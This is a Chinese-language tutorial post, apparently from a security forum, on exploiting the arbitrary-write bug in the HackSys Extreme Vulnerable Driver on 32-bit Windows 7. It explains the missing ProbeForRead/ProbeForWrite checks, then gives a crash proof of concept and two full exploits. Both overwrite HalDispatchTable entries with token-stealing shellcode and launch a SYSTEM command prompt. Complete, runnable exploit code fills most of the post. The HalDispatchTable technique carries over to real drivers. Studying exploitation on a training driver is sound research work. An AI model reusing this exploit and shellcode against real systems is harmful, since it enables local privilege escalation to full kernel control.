-
-
[原创]Windows Kernel Exploitation Notes(二)——HEVD Write-What-Where
-
2021-7-5 23:03 12733
-
环境配置及基础知识见上一篇,本篇及后续篇章不不再赘述。本篇使用环境如下:
- 物理机OS:Windows 10 20H2 x64
- 物理机WinDbg:10.0.19041.685
- 虚拟机OS:Windows 7 SP1 x86(6.1.7601.17514)
- VMware:VMware Workstation 15 Pro
- Visual Studio 2019
0x01 Root Cause Analyses
触发漏洞源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 | NTSTATUS TriggerArbitraryWrite( _In_ PWRITE_WHAT_WHERE UserWriteWhatWhere ) { PULONG_PTR What = NULL; PULONG_PTR Where = NULL; NTSTATUS Status = STATUS_SUCCESS; PAGED_CODE(); __try { / / / / Verify if the buffer resides in user mode / / ProbeForRead((PVOID)UserWriteWhatWhere, sizeof(WRITE_WHAT_WHERE), (ULONG)__alignof(UCHAR)); What = UserWriteWhatWhere - >What; Where = UserWriteWhatWhere - >Where; DbgPrint( "[+] UserWriteWhatWhere: 0x%p\n" , UserWriteWhatWhere); DbgPrint( "[+] WRITE_WHAT_WHERE Size: 0x%X\n" , sizeof(WRITE_WHAT_WHERE)); DbgPrint( "[+] UserWriteWhatWhere->What: 0x%p\n" , What); DbgPrint( "[+] UserWriteWhatWhere->Where: 0x%p\n" , Where); #ifdef SECURE / / / / Secure Note: This is secure because the developer is properly validating if address / / pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead() / / / ProbeForWrite() routine before performing the write operation / / ProbeForRead((PVOID)What, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR)); ProbeForWrite((PVOID)Where, sizeof(PULONG_PTR), (ULONG)__alignof(UCHAR)); * (Where) = * (What); #else DbgPrint( "[+] Triggering Arbitrary Write\n" ); / / / / Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability / / because the developer is writing the value pointed by 'What' to memory location / / pointed by 'Where' without properly validating if the values pointed by 'Where' / / and 'What' resides in User mode / / * (Where) = * (What); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint( "[-] Exception Code: 0x%X\n" , Status); } / / / / There is one more hidden vulnerability. Find it out. / / return Status; } |
对比Vulnerable
版本与Secure
版本可以发现,其在执行*(Where) = *(What)
语句之前未通过ProbeForRead/ProbeForWrite
函数校验读取及写入地址的合法性。跟进ProbeForRead
函数:
首先是校验边界,其次校验地址是否处于用户空间范围内(nt!MmUserProbeAddress
其值由MiInitializeBootDefaults
函数初始化):
边界未对齐,触发STATUS_DATATYPE_MISALIGNMENT
异常:
越界则触发STATUS_ACCESS_VIOLATION
异常:
ProbeForWrite
函数在边界对齐及地址范围校验方面与ProbeForRead
类似,除此之外该函数会校验地址是否可写,可读,可访问:
编写POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | #include <stdio.h> #include <windows.h> #define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS) #define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802) typedef struct _WRITE_WHAT_WHERE { PULONG_PTR What; PULONG_PTR Where; } WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE; int main() { HANDLE dev = CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver" , GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); if (dev = = INVALID_HANDLE_VALUE) { printf( "Failed!\n" ); system( "pause" ); return - 1 ; } printf( "Done! Device Handle:0x%p\n" , dev); PWRITE_WHAT_WHERE Buffer ; Buffer = (WRITE_WHAT_WHERE * )malloc(sizeof(WRITE_WHAT_WHERE)); ZeroMemory( Buffer , sizeof(WRITE_WHAT_WHERE)); Buffer - >Where = (PULONG_PTR) 0x41414141 ; Buffer - >What = (PULONG_PTR) 0x42424242 ; DWORD size_returned = 0 ; BOOL is_ok = DeviceIoControl(dev, HEVD_IOCTL_ARBITRARY_WRITE, Buffer , sizeof(WRITE_WHAT_WHERE), NULL, 0 , &size_returned, NULL); CloseHandle(dev); system( "pause" ); return 0 ; } |
触发漏洞:
0x02 Exploit
根据上文分析,现已可以实现任意地址写。将nt!HalDispatchTable
中函数地址覆盖为Shellcode地址可以实现任意代码执行,具体见下文分析。
nt!HalDispatchTable
中HalQuerySystemInformation
与HalSetSystemInformation
是在内核初始化过程中确定的:
二者分别可以通过NtQueryIntervalProfile
与NtSetIntervalProfile
函数调用:
下面分别来介绍如何按上图执行流来执行至目标函数。NtQueryIntervalProfile
函数定义如下:
1 2 3 4 | NTSTATUS NtQueryIntervalProfile ( KPROFILE_SOURCE ProfileSource, ULONG * Interval); |
其中KPROFILE_SOURCE
是一枚举类型:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE, * PKPROFILE_SOURCE; |
NtQueryIntervalProfile
首先校验_KTHREAD
中PreviousMode
(Offset 0x13A)字段值(关于_KPCR
,_KPRCB
,_KTHREAD
上一篇有介绍):
其次判断参数Interval
指向地址是否超过MmUserProbeAddress
:
最后判断ProfileSource
是否为零,非零值则调用KeQueryIntervalProfile
:
KeQueryIntervalProfile
会判断ProfileSource
是否为1,不为1才会继续调用nt!HalDispatchTable+0x4
如此,笔者构造Exploit中对该函数调用如下:
1 2 3 4 5 6 7 | PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA( "ntdll.dll" ), "NtQueryIntervalProfile" ); if (!NtQueryIntervalProfile) { cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl; cout << "[!] Last error " << GetLastError() << endl; exit( 1 ); } NtQueryIntervalProfile(ProfileTotalIssues, (ULONG * )SC); / / SC——>Shellcode Address |
对nt!HalDispatchTable+0x4
函数调用不止KeQueryIntervalProfile
一处,所以在Shellcode中需要将其替换成原数值,通过其与HalSetSystemInformation
函数地址相差0x912来进行恢复:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | INT32 KrBase = GetKernelBaseAddress(); INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8 ; INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4 ; INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8 ; / / HalQuerySystemInformation_Address Offset 0x14 CHAR * SC = (CHAR * )VirtualAlloc( 0 , 0x60 , 0x3000 , 0x40 ); ZeroMemory(SC, 0x60 ); __asm { pushad; mov eax, HalSetSystemInformation_Address; mov ebx, HalQuerySystemInformation_Address; mov edi, SC; mov[edi], 0x60 ; mov dword ptr[edi + 0x1 ], 0x000000E8 ; mov dword ptr[edi + 0x5 ], 0x588B5800 ; mov dword ptr[edi + 0x9 ], 0x4F488B4B ; mov dword ptr[edi + 0xD ], 0xEA81138B ; mov dword ptr[edi + 0x11 ], 0x00000912 ; mov dword ptr[edi + 0x15 ], 0x90901189 ; mov dword ptr[edi + 0x19 ], 0x8B64C031 ; mov dword ptr[edi + 0x1D ], 0x00012480 ; mov dword ptr[edi + 0x21 ], 0x50408B00 ; mov dword ptr[edi + 0x25 ], 0x04BAC189 ; mov dword ptr[edi + 0x29 ], 0x8B000000 ; mov dword ptr[edi + 0x2D ], 0x0000B880 ; mov dword ptr[edi + 0x31 ], 0x00B82D00 ; mov dword ptr[edi + 0x35 ], 0x90390000 ; mov dword ptr[edi + 0x39 ], 0x000000B4 ; mov dword ptr[edi + 0x3D ], 0x908BED75 ; mov dword ptr[edi + 0x41 ], 0x000000F8 ; mov dword ptr[edi + 0x45 ], 0x00F89189 ; mov dword ptr[edi + 0x49 ], 0x31610000 ; mov dword ptr[edi + 0x4D ], 0x0000C3C0 ; mov dword ptr[edi + 0x51 ], eax; mov dword ptr[edi + 0x55 ], ebx; popad; } |
Shellcode如下:
NtSetIntervalProfile
函数定义如下:
1 2 3 4 | NTSTATUS NtSetIntervalProfile ( ULONG Interval, KPROFILE_SOURCE ProfileSource); |
其对参数判断位于KeSetIntervalProfile
函数内,首先校验nt!PerfGlobalGroupMask+0x4
:
其次判断ProfileSource
是否为0及是否为1:
上述两种方式思想相同,只是具体实现方式略有不同,两种方式完整Exploit如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 | / / HalSetSystemInformation #include <iostream> #include <string.h> #include <Windows.h> using namespace std; #define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS) #define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802) typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id ; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[ 256 ]; }SYSTEM_MODULE, * PSYSTEM_MODULE; typedef struct SYSTEM_MODULE_INFORMATION{ ULONG ModulesCount; SYSTEM_MODULE Modules[ 1 ]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS{ SystemModuleInformation = 0xB } SYSTEM_INFORMATION_CLASS; typedef struct _WRITE_WHAT_WHERE { PULONG_PTR What; PULONG_PTR Where; } WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE; typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE, * PKPROFILE_SOURCE; typedef NTSTATUS(WINAPI * PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength ); typedef NTSTATUS(WINAPI * PNtQueryIntervalProfile)( __in KPROFILE_SOURCE ProfileSource, __in ULONG * Interval); typedef NTSTATUS(WINAPI * PNtSetIntervalProfile)( __in ULONG * Interval, __in KPROFILE_SOURCE ProfileSource); INT32 GetKernelBaseAddress(){ / / Get NtQuerySystemInformation Address PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA( "ntdll.dll" ), "NtQuerySystemInformation" ); if (!NtQuerySystemInformation){ cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl; cout << "[!] Last Error:" << GetLastError() << endl; exit( 1 ); } ULONG len = 0 ; / / Get Buffer Length NtQuerySystemInformation(SystemModuleInformation,NULL, 0 ,& len ); / / Allocate Memory PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len ,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE); / / Get SYSTEM_MODULE_INFORMATION NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo, len ,& len ); if (Status ! = (NTSTATUS) 0x0 ){ cout << "[!] NtQuerySystemInformation Failed!" << endl; exit( 1 ); } PVOID KernelImageBase = PModuleInfo - >Modules[ 0 ].ImageBaseAddress; cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl; return (INT32)KernelImageBase; } int main() { HANDLE hFile = CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver" , GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); if (hFile = = INVALID_HANDLE_VALUE) { cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl; exit( 1 ); } cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl; INT32 KrBase = GetKernelBaseAddress(); INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8 ; INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4 ; INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8 ; / / HalQuerySystemInformation_Address Offset 0x912 CHAR * SC = (CHAR * )VirtualAlloc( 0 , 0x60 , 0x3000 , 0x40 ); ZeroMemory(SC, 0x60 ); __asm { pushad; mov ebx, HalSetSystemInformation_Address; mov eax, HalQuerySystemInformation_Address; mov edi, SC; mov[edi], 0x60 ; mov dword ptr[edi + 0x1 ], 0x000000E8 ; mov dword ptr[edi + 0x5 ], 0x588B5800 ; mov dword ptr[edi + 0x9 ], 0x4F488B4B ; mov dword ptr[edi + 0xD ], 0xC281138B ; mov dword ptr[edi + 0x11 ], 0x00000912 ; mov dword ptr[edi + 0x15 ], 0x90901189 ; mov dword ptr[edi + 0x19 ], 0x8B64C031 ; mov dword ptr[edi + 0x1D ], 0x00012480 ; mov dword ptr[edi + 0x21 ], 0x50408B00 ; mov dword ptr[edi + 0x25 ], 0x04BAC189 ; mov dword ptr[edi + 0x29 ], 0x8B000000 ; mov dword ptr[edi + 0x2D ], 0x0000B880 ; mov dword ptr[edi + 0x31 ], 0x00B82D00 ; mov dword ptr[edi + 0x35 ], 0x90390000 ; mov dword ptr[edi + 0x39 ], 0x000000B4 ; mov dword ptr[edi + 0x3D ], 0x908BED75 ; mov dword ptr[edi + 0x41 ], 0x000000F8 ; mov dword ptr[edi + 0x45 ], 0x00F89189 ; mov dword ptr[edi + 0x49 ], 0x31610000 ; mov dword ptr[edi + 0x4D ], 0x0000C3C0 ; mov dword ptr[edi + 0x51 ], eax; mov dword ptr[edi + 0x55 ], ebx; popad; } PULONG_PTR * PShellcode = (PULONG_PTR * )&SC; PWRITE_WHAT_WHERE Buffer ; Buffer = (WRITE_WHAT_WHERE * )malloc(sizeof(WRITE_WHAT_WHERE)); ZeroMemory( Buffer , sizeof(WRITE_WHAT_WHERE)); Buffer - >Where = (PULONG_PTR)HalSetSystemInformation_Address; Buffer - >What = (PULONG_PTR)PShellcode; DWORD size_returned = 0 ; BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer , sizeof(WRITE_WHAT_WHERE), NULL, 0 , &size_returned, NULL); PNtSetIntervalProfile NtSetIntervalProfile = (PNtSetIntervalProfile)GetProcAddress(GetModuleHandleA( "ntdll.dll" ), "NtSetIntervalProfile" ); if (!NtSetIntervalProfile) { cout << "[!] Failed to Get the Address of NtSetIntervalProfile." << endl; cout << "[!] Last error " << GetLastError() << endl; exit( 1 ); } NtSetIntervalProfile((ULONG * )SC, ProfileTotalIssues); PROCESS_INFORMATION ProcessInformation; ZeroMemory(&ProcessInformation, sizeof(ProcessInformation)); STARTUPINFOA StartupInfo; ZeroMemory(&StartupInfo, sizeof(StartupInfo)); CreateProcessA( "C:\\Windows\\System32\\cmd.exe" , NULL, NULL, NULL, 0 , CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation); VirtualFree(SC, 0 , MEM_RELEASE); } |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 | / / HalQuerySystemInformation #include <iostream> #include <string.h> #include <Windows.h> using namespace std; #define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS) #define HEVD_IOCTL_ARBITRARY_WRITE IOCTL(0x802) typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id ; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[ 256 ]; }SYSTEM_MODULE, * PSYSTEM_MODULE; typedef struct SYSTEM_MODULE_INFORMATION{ ULONG ModulesCount; SYSTEM_MODULE Modules[ 1 ]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS{ SystemModuleInformation = 0xB } SYSTEM_INFORMATION_CLASS; typedef struct _WRITE_WHAT_WHERE { PULONG_PTR What; PULONG_PTR Where; } WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE; typedef enum _KPROFILE_SOURCE { ProfileTime, ProfileAlignmentFixup, ProfileTotalIssues, ProfilePipelineDry, ProfileLoadInstructions, ProfilePipelineFrozen, ProfileBranchInstructions, ProfileTotalNonissues, ProfileDcacheMisses, ProfileIcacheMisses, ProfileCacheMisses, ProfileBranchMispredictions, ProfileStoreInstructions, ProfileFpInstructions, ProfileIntegerInstructions, Profile2Issue, Profile3Issue, Profile4Issue, ProfileSpecialInstructions, ProfileTotalCycles, ProfileIcacheIssues, ProfileDcacheAccesses, ProfileMemoryBarrierCycles, ProfileLoadLinkedIssues, ProfileMaximum } KPROFILE_SOURCE, * PKPROFILE_SOURCE; typedef NTSTATUS(WINAPI * PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength ); typedef NTSTATUS(WINAPI * PNtQueryIntervalProfile)( __in KPROFILE_SOURCE ProfileSource, __in ULONG * Interval); typedef NTSTATUS(WINAPI * PNtSetIntervalProfile)( __in ULONG * Interval, __in KPROFILE_SOURCE ProfileSource); INT32 GetKernelBaseAddress(){ / / Get NtQuerySystemInformation Address PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA( "ntdll.dll" ), "NtQuerySystemInformation" ); if (!NtQuerySystemInformation){ cout << "[!] Failed to Get the Address of NtQuerySystemInformation." << endl; cout << "[!] Last Error:" << GetLastError() << endl; exit( 1 ); } ULONG len = 0 ; / / Get Buffer Length NtQuerySystemInformation(SystemModuleInformation,NULL, 0 ,& len ); / / Allocate Memory PSYSTEM_MODULE_INFORMATION PModuleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len ,MEM_RESERVE | MEM_COMMIT,PAGE_EXECUTE_READWRITE); / / Get SYSTEM_MODULE_INFORMATION NTSTATUS Status = NtQuerySystemInformation(SystemModuleInformation,PModuleInfo, len ,& len ); if (Status ! = (NTSTATUS) 0x0 ){ cout << "[!] NtQuerySystemInformation Failed!" << endl; exit( 1 ); } PVOID KernelImageBase = PModuleInfo - >Modules[ 0 ].ImageBaseAddress; cout << "[>] Kernel base address: 0x" << hex << KernelImageBase << endl; return (INT32)KernelImageBase; } int main() { HANDLE hFile = CreateFileA( "\\\\.\\HackSysExtremeVulnerableDriver" , GENERIC_READ | GENERIC_WRITE, NULL, NULL, OPEN_EXISTING, NULL, NULL); if (hFile = = INVALID_HANDLE_VALUE) { cout << "[!] No Handle to HackSysExtremeVulnerableDriver" << endl; exit( 1 ); } cout << "[>] Handle to HackSysExtremeVulnerableDriver: 0x" << hex << (INT32)hFile << endl; INT32 KrBase = GetKernelBaseAddress(); INT32 HalDispatchTable_Address = KrBase + 0x0012b3f8 ; INT32 HalQuerySystemInformation_Address = HalDispatchTable_Address + 0x4 ; INT32 HalSetSystemInformation_Address = HalDispatchTable_Address + 0x8 ; / / HalQuerySystemInformation_Address Offset 0x912 CHAR * SC = (CHAR * )VirtualAlloc( 0 , 0x60 , 0x3000 , 0x40 ); ZeroMemory(SC, 0x60 ); __asm { pushad; mov eax, HalSetSystemInformation_Address; mov ebx, HalQuerySystemInformation_Address; mov edi, SC; mov[edi], 0x60 ; mov dword ptr[edi + 0x1 ], 0x000000E8 ; mov dword ptr[edi + 0x5 ], 0x588B5800 ; mov dword ptr[edi + 0x9 ], 0x4F488B4B ; mov dword ptr[edi + 0xD ], 0xEA81138B ; mov dword ptr[edi + 0x11 ], 0x00000912 ; mov dword ptr[edi + 0x15 ], 0x90901189 ; mov dword ptr[edi + 0x19 ], 0x8B64C031 ; mov dword ptr[edi + 0x1D ], 0x00012480 ; mov dword ptr[edi + 0x21 ], 0x50408B00 ; mov dword ptr[edi + 0x25 ], 0x04BAC189 ; mov dword ptr[edi + 0x29 ], 0x8B000000 ; mov dword ptr[edi + 0x2D ], 0x0000B880 ; mov dword ptr[edi + 0x31 ], 0x00B82D00 ; mov dword ptr[edi + 0x35 ], 0x90390000 ; mov dword ptr[edi + 0x39 ], 0x000000B4 ; mov dword ptr[edi + 0x3D ], 0x908BED75 ; mov dword ptr[edi + 0x41 ], 0x000000F8 ; mov dword ptr[edi + 0x45 ], 0x00F89189 ; mov dword ptr[edi + 0x49 ], 0x31610000 ; mov dword ptr[edi + 0x4D ], 0x0000C3C0 ; mov dword ptr[edi + 0x51 ], eax; mov dword ptr[edi + 0x55 ], ebx; popad; } PULONG_PTR * PShellcode = (PULONG_PTR * )&SC; PWRITE_WHAT_WHERE Buffer ; Buffer = (WRITE_WHAT_WHERE * )malloc(sizeof(WRITE_WHAT_WHERE)); ZeroMemory( Buffer , sizeof(WRITE_WHAT_WHERE)); Buffer - >Where = (PULONG_PTR)HalQuerySystemInformation_Address; Buffer - >What = (PULONG_PTR)PShellcode; DWORD size_returned = 0 ; BOOL is_ok = DeviceIoControl(hFile, HEVD_IOCTL_ARBITRARY_WRITE, Buffer , sizeof(WRITE_WHAT_WHERE), NULL, 0 , &size_returned, NULL); PNtQueryIntervalProfile NtQueryIntervalProfile = (PNtQueryIntervalProfile)GetProcAddress(GetModuleHandleA( "ntdll.dll" ), "NtQueryIntervalProfile" ); if (!NtQueryIntervalProfile) { cout << "[!] Failed to Get the Address of NtQueryIntervalProfile." << endl; cout << "[!] Last error " << GetLastError() << endl; exit( 1 ); } NtQueryIntervalProfile(ProfileTotalIssues, (ULONG * )SC); PROCESS_INFORMATION ProcessInformation; ZeroMemory(&ProcessInformation, sizeof(ProcessInformation)); STARTUPINFOA StartupInfo; ZeroMemory(&StartupInfo, sizeof(StartupInfo)); CreateProcessA( "C:\\Windows\\System32\\cmd.exe" , NULL, NULL, NULL, 0 , CREATE_NEW_CONSOLE, NULL, NULL, &StartupInfo, &ProcessInformation); VirtualFree(SC, 0 , MEM_RELEASE); } |
效果如下:
0x03 参阅链接
- NTSTATUS Values—Microsoft Docs
- ProbeForRead—Microsoft Docs
- ProbeForWrite—Microsoft Docs
- Exploiting common flaws in drivers
- ZwQueryIntervalProfile
- ZwSetIntervalProfile
- KPROFILE_SOURCE
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。